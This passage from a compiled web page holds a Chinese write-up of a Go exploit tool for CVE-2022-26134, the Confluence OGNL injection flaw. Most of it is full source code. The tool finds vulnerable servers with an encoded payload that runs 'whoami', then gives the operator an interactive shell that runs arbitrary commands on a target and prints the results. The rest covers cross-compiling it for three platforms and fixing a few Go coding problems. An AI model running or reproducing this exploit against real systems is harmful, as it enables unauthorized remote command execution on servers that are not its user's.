break\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u4ea4\u53c9\u7f16\u8bd1",children:"\u4ea4\u53c9\u7f16\u8bd1"}),"\n",(0,i.jsx)(e.h4,{id:"windows\u7f16\u8bd1",children:"windows\u7f16\u8bd1"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,i.jsx)(e.p,{children:"windows\u4e0b\u7f16\u8bd1\u4e09\u79cd\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-powershell",children:'set CGO_ENABLED=0\nset GOARCH=amd64\nset GOOS=windows\ngo build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-powershell",children:'set CGO_ENABLED=0\nset GOARCH=amd64\nset GOOS=linux\ngo build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-powershell",children:'set CGO_ENABLED=0\nset GOARCH=amd64\nset GOOS=darwin \ngo build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin\n'})}),"\n",(0,i.jsx)(e.h4,{id:"linux-\u7f16\u8bd1",children:"linux \u7f16\u8bd1"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,i.jsx)(e.p,{children:"linux \u4e0b\u7f16\u8bd1\u4e09\u79cd\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux\n'})}),"\n",(0,i.jsx)(e.h4,{id:"mac\u7f16\u8bd1",children:"Mac\u7f16\u8bd1"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,i.jsx)(e.p,{children:"Mac\u4e0b\u7f16\u8bd1\u4e09\u79cd\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u4ee3\u7801",children:"\u4ee3\u7801"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"bufio"\n\t"bytes"\n\t"flag"\n\t"fmt"\n\t"io"\n\t"net/http"\n\t"net/url"\n\t"os"\n\t"strings"\n)\n\nvar target string\nvar targets []string\nvar listUrl string\nvar proxy string\nvar transport = &http.Transport{}\n\nfunc Init() {\n\tflag.StringVar(&proxy, "proxy", "", "\u4ee3\u7406")\n\tflag.StringVar(&target, "url", "", "\u76ee\u6807")\n\tflag.StringVar(&listUrl, "list", "", "\u76ee\u6807\u5217\u8868")\n}\nfunc Banner() {\n\tfmt.Println(`\n __.__ .__ _______ \n__ _ __ |__| | |__| ____ \\ _ \\ \n\\ \\/ \\/ / | | | | |/ \\/ /_\\ \\ \n \\ / | | |_| | | \\ \\_/ \\\n \\/\\_/\\__| |____/__|___| /\\_____ /\n \\______| \\/ \\/ \n CVE-2022-26134`)\n}\n\nfunc urlHandler(target string) string {\n\tif !strings.HasPrefix(target, "http") {\n\t\ttarget = "http://" + target\n\t}\n\t// \u6709/\u7ed3\u5c3e\u7684\u5c31\u53bb\u6389/\n\tif strings.HasSuffix(target, "/") { // \u53bb\u6389\u540e\u7f00 /\n\t\ttarget = strings.TrimSuffix(target, "/")\n\t\t//fmt.Println(target)\n\t}\n\n\treturn target\n}\n\nfunc checkProxy() {\n\tif proxy != "" {\n\t\turl_i := url.URL{}\n\t\turlProxy, error := url_i.Parse(proxy)\n\t\tif error != nil {\n\t\t\tfmt.Println(error.Error())\n\t\t\treturn\n\t\t}\n\t\ttransport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}\n\t\tfmt.Println("\u8bbe\u7f6e\u4ee3\u7406: ", proxy, " \u6210\u529f")\n\t}\n}\n\nfunc checkArgs() {\n\tif target != "" {\n\t\ttargets = append(targets, urlHandler(target))\n\t}\n\tif listUrl != "" {\n\t\tfilePath := listUrl\n\t\tfile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE, 066)\n\t\tif err != nil {\n\t\t\tfmt.Println("\u6587\u4ef6\u6253\u5f00\u5931\u8d25", err)\n\t\t}\n\t\tdefer file.Close()\n\t\t//\u8bfb\u539f\u6765\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u663e\u793a\u5728\u7ec8\u7aef\n\t\treader := bufio.NewReader(file)\n\t\tfor {\n\t\t\ttarget, err := reader.ReadString(\'\\n\')\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttargets = append(targets, urlHandler(target))\n\t\t}\n\t}\n\tif targets == nil {\n\t\t//flag.Usage()\n\t\tos.Exit(0)\n\t}\n}\nfunc check(t string) (b bool) {\n\tb = false\n\tvulurl := t + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"\n\treq, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))\n\tif er != nil {\n\t\tfmt.Println(er)\n\t\tfmt.Println("\u8bf7\u6c42\u5931\u8d25")\n\t\treturn\n\t}\n\treq.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")\n\tclient := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}\n\tresp, er := client.Do(req)\n\tif er != nil {\n\t\treturn\n\t}\n\tstatus := resp.StatusCode\n\theader := resp.Header.Get("X-Cmd-Response")\n\tif header == "" && status == 302 {\n\t\tb = false\n\t\tfmt.Println("\u76ee\u6807\uff1a", t, "\u4e0d\u5b58\u5728\u6f0f\u6d1e")\n\t} else {\n\t\tb = true\n\t\tfmt.Println("\u76ee\u6807\uff1a", t, "\u5b58\u5728\u6f0f\u6d1e")\n\t}\n\treturn\n\n}\nfunc exp(t string, comm string) {\n\tvulurl := t + `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22` + comm + `%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/`\n\treq, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))\n\tif er != nil {\n\t\tfmt.Println(er)\n\t\tfmt.Println("\u8bf7\u6c42\u5931\u8d25")\n\t\treturn\n\t}\n\tclient := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}\n\tresp, _ := client.Do(req)\n\tres := resp.Header.Get("X-Cmd-Response")\n\tres = strings.TrimSpace(res)\n\tfmt.Print("\\n\u6267\u884c\u7ed3\u679c\uff1a\\n")\n\tfmt.Printf("%v", res)\n}\nfunc main() {\n\tfmt.Println(os.Args)\n\tBanner()\n\tInit()\n\tflag.Parse()\n\tcheckArgs()\n\tcheckProxy()\n\tvar successTargets []string\n\tfor _, t := range targets {\n\t\tb := check(t)\n\t\tif b {\n\t\t\tsuccessTargets = append(successTargets, t)\n\t\t}\n\t}\n\tif successTargets != nil {\n\t\tvar i int\n\t\tvar t string\n\t\tvar comm string\n\n\t\tfmt.Println("\u9009\u62e9\u76ee\u6807\uff1a")\n\t\tfor i, tar := range successTargets {\n\t\t\tfmt.Println("\u76ee\u6807\uff1a", tar, " , ", i)\n\t\t}\n\t\tif len(successTargets) == 1 {\n\t\t\tt = successTargets[0]\n\t\t} else {\n\t\t\t_, err := fmt.Scanln(&i)\n\t\t\tif err != nil {\n\t\t\t\tt = successTargets[0]\n\t\t\t}\n\t\t}\n\n\t\tt = successTargets[i]\n\t\tfor {\n\t\t\tfmt.Print("\\n\u8f93\u5165\u547d\u4ee4\uff1a")\n\t\t\treader := bufio.NewReader(os.Stdin)\n\t\t\tcom, _, _ := reader.ReadLine()\n\t\t\tif string(com) == "" {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcomm = strings.Replace(string(com), " ", "%20", -1)\n\t\t\texp(t, comm)\n\t\t}\n\t} else {\n\t\tfmt.Println("\u6ca1\u6709\u76ee\u6807\u5b58\u5728\u6f0f\u6d1e")\n\t}\n\n}\n\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u9047\u5230\u7684\u95ee\u9898",children:"\u9047\u5230\u7684\u95ee\u9898"}),"\n",(0,i.jsx)(e.h3,{id:"go-get-\u9047\u5230\u7684\u95ee\u9898",children:"go get \u9047\u5230\u7684\u95ee\u9898"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(e.p,{children:["go get \u65f6 \u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"go get -u -v github.com/wjlin0/CVE-2022-26134"})," \u5c31\u53ef\u5c06\u4e8c\u8fdb\u5236\u6587\u4ef6\u62c9\u53bb\u81f3",(0,i.jsx)(e.code,{children:"$GOPATH/bin/"}),"\u76ee\u5f55\u4e0b\u5982\u679c\u8bbe\u7f6e\u4e86\u5168\u5c40\u53d8\u91cf\u5c31\u53ef\u76f4\u63a5\u4f7f\u7528\uff0c\u800c\u4e0d\u9700\u8981 ",(0,i.jsx)(e.code,{children:"go mod init github.com/wjlin0/CVE-2022-26134"})," \u4e4b\u540e\u518d ",(0,i.jsx)(e.code,{children:"go get -u -v github.com/wjlin0/CVE-2022-26134"})," \u56e0\u4e3a\u4ed6\u4e0d\u662f\u4e00\u4e2a\u8f6f\u4ef6\u5305\u5982\u4e0b\u56fe"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"image-20221226014043696",src:t(91301).A+"",width:"404",height:"92"})}),"\n",(0,i.jsx)(e.h3,{id:"bufionewreaderreadstring",children:"bufio.NewReader.ReadString"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(e.p,{children:["\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6587\u4ef6\u82e5\u6700\u540e\u4e00\u6392\u6ca1\u6709",(0,i.jsx)(e.code,{children:"\\n"})," \u5219",(0,i.jsx)(e.code,{children:"reader.ReadString('\\n')"})," \u4f1a\u4ea7\u751f\u4e00\u4e2a\u9519\u8bef\uff0c\u90a3\u4e48\u6700\u540e\u4e00\u6392\u7684\u6570\u636e\u4e5f\u6b63\u662f\u6211\u4eec\u9700\u8981\u7684\uff0c\u6240\u4ee5\u4e5f\u8981\u518d\u6b21\u505a\u4e00\u4e2a\u5224\u65ad\u6dfb\u52a0"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'reader := bufio.NewReader(file)\nfor {\n target, err := reader.ReadString(\'\\n\')\n if err != nil {\n if err == io.EOF {\n if target != "" {\n targets = append(targets, urlHandler(target))\n }\n break\n }\n }\n //fmt.Printf("%#v\\n", target)\n target = strings.TrimSpace(target)\n //fmt.Printf("%#v\\n", target)\n targets = append(targets, urlHandler(target))\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"image-20221226125038280",src:t(8391).A+"",width:"1091",height:"296"})}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u8bfb\u5165\u65f6",(0,i.jsx)(e.code,{children:"ReadString('\\n')"})," \uff0c\u4f1a\u5c06 \\n \u4e00\u5757\u8bfb\u5165\uff0c\u9700\u8981\u7528\u6237\u81ea\u884c\u5904\u7406 ",(0,i.jsx)(e.code,{children:"\\r\\n"})," \u6216\u8005 ",(0,i.jsx)(e.code,{children:"\\n"})]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"image-20221226124550770",src:t(25983).A+"",width:"417",height:"127"})}),"\n",(0,i.jsx)(e.h3,{id:"go-\u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c",children:"go \u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528\u4e86\u4ee3\u7406\uff0c\u6211\u7684GOPROXY\u8bbe\u7f6e\u4e3a ",(0,i.jsx)(e.code,{children:"https://goproxy.cn,direct"}),"\u4e86\uff0c\u5927\u6982\u7387\u662f\u8fd9\u4e2a\u4ee3\u7406\u81ea\u5df1\u6709\u7f13\u5b58\uff0c\u6240\u4ee5\u6211\u65e0\u6cd5\u83b7\u53d6\u5230\u66f4\u65b0\u4e4b\u540e\u7684\u6a21\u5757A\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u89e3\u51b3\u65b9\u6cd5\u5c31\u662f\u66f4\u6539GOPROXY\u7684\u8bbe\u7f6e"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"go env -w GOPROXY=https://goproxy.io,direct \n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u8fd0\u884c\u5b9e\u4f8b\u56fe",children:"\u8fd0\u884c\u5b9e\u4f8b\u56fe"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"image-20221225232018339",src:t(82026).A+"",width:"1876",height:"599"})})]})}function d(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(c,{...n})}):c(n)}},82026:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/image-20221225232018339-cca8c8d087dee029fb54820fe74b335e.png"},91301:(n,e,t)=>{t.d(e,{A:()=>r});const r="data:image/png;base64,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